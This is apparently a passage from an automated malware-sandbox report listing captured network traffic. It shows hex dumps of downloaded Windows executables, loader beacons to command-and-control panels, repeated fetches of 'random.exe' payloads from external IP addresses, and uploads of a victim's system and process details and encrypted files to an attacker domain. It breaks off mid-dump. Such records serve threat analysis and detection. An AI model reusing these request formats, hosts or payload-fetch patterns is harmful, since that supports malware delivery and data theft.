87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 00 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 69 00 00 04 00 00 a1 67 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 62 75 73 6e 72 78 7a 00 d0 19 00 00 20 4f 00 00 c4 19 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 76 71 69 65 67 77 74 00 10 00 00 00 f0 68 00 00 04 00 00 00 42 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 69 00 00 22 00 00 00 46 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 16:04:18 GMTContent-Type: application/octet-streamContent-Length: 2835456Last-Modified: Mon, 16 Dec 2024 15:49:29 GMTConnection: keep-aliveETag: "67604c09-2b4400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 27 7e 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 7a 68 62 6d 79 75 74 77 00 00 2b 00 00 a0 00 00 00 e2 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6b 79 6b 68 7a 64 68 00 20 00 00 00 a0 2b 00 00 06 00 00 00 1c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2b 00 00 22 00 00 00 22 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 16:04:23 GMTContent-Type: application/octet-streamContent-Length: 1796096Last-Modified: Mon, 16 Dec 2024 14:47:26 GMTConnection: keep-aliveETag: "67603d7e-1b6800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 00 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 69 00 00 04 00 00 a1 67 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 62 75 73 6e 72 78 7a 00 d0 19 00 00 20 4f 00 00 c4 19 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 76 71 69 65 67 77 74 00 10 00 00 00 f0 68 00 00 04 00 00 00 42 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 69 00 00 22 00 00 00 46 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 31 32 46 37 39 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB12F79B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 37 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016171001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /vJNDHPUXPCEIZZjTPbLp1734325090 HTTP/1.1Host: home.fivetk5pn.topAccept: /Content-Type: application/jsonContent-Length: 557421Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 33 36 34 39 34 31 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 34 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 36 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3
Source: global traffic	HTTP traffic detected: GET /vJNDHPUXPCEIZZjTPbLp1734325090?argument=uMs74J9HKNQYAZLN1734364945 HTTP/1.1Host: home.fivetk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 37 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016172001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 37 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016173001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/cloud/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 37 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016174001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /Z.png HTTP/1.1Host: 185.11.61.104Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivetk5pn.topAccept: /Content-Length: 465Content-Type: multipart/form-data; boundary=------------------------XFx3sNAAYlM886TMoexy36Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 58 46 78 33 73 4e 41 41 59 6c 4d 38 38 36 54 4d 6f 65 78 79 33 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 6f 76 6f 67 75 6a 6f 77 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 35 99 2b 15 b3 31 aa fe db a6 21 06 03 bc a8 b7 8b 9c e1 89 1c 88 0d 30 eb 3f e3 12 91 dc 56 fd a7 27 b1 fd a5 b1 16 a7 37 88 7e 64 03 92 82 96 67 e1 07 39 10 9f 1f 73 ac 03 01 a9 1f e5 d4 f1 90 89 85 a6 d1 c8 41 d6 8f 0b 9f e0 75 55 0a 2d 46 6d d4 52 64 e5 85 fc ea 6b fc 0e a6 92 d1 f4 79 5d 44 49 98 1b 37 c0 62 9c 01 89 f9 22 13 83 85 f2 91 ef a5 72 20 01 ae 35 c5 05 04 bc 0e 6b 4e b8 70 61 14 82 ee 71 e9 ff a4 30 f6 4d e6 30 fe 31 36 e1 05 e8 a4 ed 67 aa 1f 33 ad e5 6c 87 5c bf c6 b7 4c 8c 0e eb d2 45 d1 9a c7 ea 7b 7a 3c 9d 7c 1c a5 e3 5e 67 7e b8 3e 19 a3 11 b5 9a 45 41 ee b9 e0 c8 e4 1d fb 20 99 02 87 52 31 0f c1 ab 06 a0 67 a1 e2 29 9d 91 95 79 f3 f9 72 a3 2b 7f 9b 2b 06 99 88 46 be 5d c8 47 ba be 2b 93 fd 58 bc 02 8f a8 42 a9 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 58 46 78 33 73 4e 41 41 59 6c 4d 38 38 36 54 4d 6f 65 78 79 33 36 2d 2d 0d 0a Data Ascii: --------------------------XFx3sNAAYlM886TMoexy36Content-Disposition: form-data; name="file"; filename="Govogujow.bin"Content-Type: application/octet-stream5+1!0?V'7~dg9sAuU-FmRdky]DI7b"r 5kNpaq0M016g3l\LE{z<\|^g~>EA R1g)yr++F]G+XB--------------------------XFx3sNAAYlM886TMoexy36--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 37 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016175001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /A.png HTTP/1.1Host: 185.11.61.104Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivetk5pn.topAccept: /Content-Length: 89215Content-Type: multipart/form-data; boundary=------------------------UYw8tK5Qf6odqVZfbmVrekData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 55 59 77 38 74 4b 35 51 66 36 6f 64 71 56 5a 66 62 6d 56 72 65 6b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 75 72 65 79 65 67 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 02 c4 dd 2e 01 cc be 25 11 02 83 01 df 77 42 7d 9a e1 87 e7 12 3e 49 5b a7 29 32 6f 33 95 f8 23 2f f6 9e b7 ff 3f 0f 25 9d 10 1a 53 c9 40 84 d2 77 35 16 62 d5 b9 96 36 6c 0f b4 8f fb 9d 1a 8f 25 50 63 2a 89 63 87 be 84 a7 88 e4 8b b6 e6 7c 6d e5 bd e1 ef cd 30 2d c3 21 7b ad ac 91 78 18 6b d9 83 0a 65 57 67 5f 3d de 74 ae 59 9d 12 42 db 3c 5d 83 93 8c 73 27 37 4b 9c 74 16 d1 9c 0b ec de 3b fd 05 c2 0c bd c9 06 e8 c8 c2 7e 8c 46 b4 fb 58 51 39 93 ca 97 bd 78 9c 68 f2 e3 c8 12 b4 a2 c4 d5 9b b6 54 98 25 40 34 83 61 27 e3 28 23 8a ec 14 31 7a 0e 75 d1 89 64 0f 93 4b 88 e1 3f 3a 74 ff 39 7e c4 b2 26 77 d5 1a e4 14 2d 94 8c cf cc af 46 5d c4 17 c4 44 74 d9 65 d6 07 37 31 1b ba af 09 15 d4 4f c9 91 00 67 66 b0 ba 28 17 e4 80 80 b6 85 cf 4f 75 f5 a9 4d 18 9b 7a 53 5d 5f 83 74 16 19 dc 84 fa 08 66 c1 58 5a 96 98 da 24 2e 59 c6 e8 df 09 29 07 02 5e 7d b4 4c 2e b7 b3 0c 3d 43 0b 63 ae 59 7c 10 1a a0 d9 83 39 a2 6d 04 08 71 b8 c3 1d 47 fa 47 2e e3 a1 6d 8d 06 6f df 70 ff 28 0d 29 76 e8 da cf 27 91 13 74 d6 30 c3 cc e7 29 7e 1a 04 f6 5f 58 3b 4c 25 7e 75 8f 61 bb a2 eb 30 d1 a4 80 e3 fb 8e 03 33 ae 0c e7 cc 99 54 d1 7b 47 c3 3a ab 73 7f 16 3f 12 2a c0 74 a1 d6 f0 94 8d 91 1e d6 d0 5e 80 2c f4 8d d1 a8 40 fa 36 55 dd d6 a2 74 ed 3a c9 6b 21 86 c5 83 95 dd c2 44 2b 92 77 8b a6 29 0d e7 a4 2f 39 5e 18 dd 77 d9 e5 02 e8 7e 58 2f 7b 2c 0f 24 0e bd 42 d9 b5 59 dd 14 b4 c8 f9 fe 1c 09 f5 a8 25 d5 00 4a 84 95 cb 30 72 87 43 db 3b 9a 0f 24 ea eb 81 77 3c 68 c5 d6 d5 eb ae f1 f7 65 f9 dc 74 99 b3 b8 a1 8e 0e 3d 66 4c ad c1 a4 ef 18 b0 7b 76 02 c8 b2 11 86 1e b8 1d b6 a1 64 51 04 30 7e 4d a0 ca f6 d8 8e 97 85 98 20 b6 32 6e 73 5b af 2b 59 6f 70 af 15 36 5d 2f 6c dc 97 81 9d 30 9e 68 c1 ff 9b 78 80 c8 81 94 50 23 bd 0e d2 36 70 12 ca 33 02 34 3c 87 f1 bb 66 52 43 ec ae 0d 1f c6 05 19 e8 a3 27 8a fa a3 66 b6 8c d4 44 27 89 73 02 c7 d6 6b 28 55 65 b6 e3 a4 33 44 93 94 85 fc 67 ea 73 26 87 1a da 98 4d e2 bf 35 6b 11 06 be c3 7b 9a 18 d7 7b e1 8c 98 44 eb 51 6e db 65 17 f2 67 1b c7 da e0 a9 c5 c8 01 c6 ca 52 69 e6 76 fe e5 03 99 46 af 89 1f d1 f5 77 ce 24 29 39 01 86 66 8e e0 75 03 2c ed 39 5b ab 7c 22 e5 85 8d 9b d9 c4 02 d3 41 23 ae 1d 0b f5 27 b3 b7 9a e7 40 10 64 0f d5 a9 84 5d 4e 6c b2 0a 57 ae 85 20 2b 57 c2 18 13 d2 09 c5 8d 5e b5 02 e8 3c c4 c8 df 36 bb ec 0e 0f 37 e4 1e 37 bf e0 bd 37 7e 06 8a a7 b7 90 cf
Source: global traffic	HTTP traffic detected: POST /7jbBdsS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.11.61.104Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 37 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016176001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivetk5pn.topAccept: /Content-Length: 29779Content-Type: multipart/form-data; boundary=------------------------GkDtto5Z6G038nznj7W4BGData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 47 6b 44 74 74 6f 35 5a 36 47 30 33 38 6e 7a 6e 6a 37 57 34 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 52 65 6c 69 6b 6f 6b 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 21 c2 c2 96 c6 4f 5e 75 a6 44 7e a4 84 51 df b6 3a 96 cd bc 4d 78 40 8c d7 3f 1c f5 c0 32 a9 53 97 df db 73 ec ec 33 c2 9a f5 f9 ac a2 9e eb 58 89 61 be 59 98 16 f9 c8 33 3c c8 b9 4a 92 bb 61 df cf 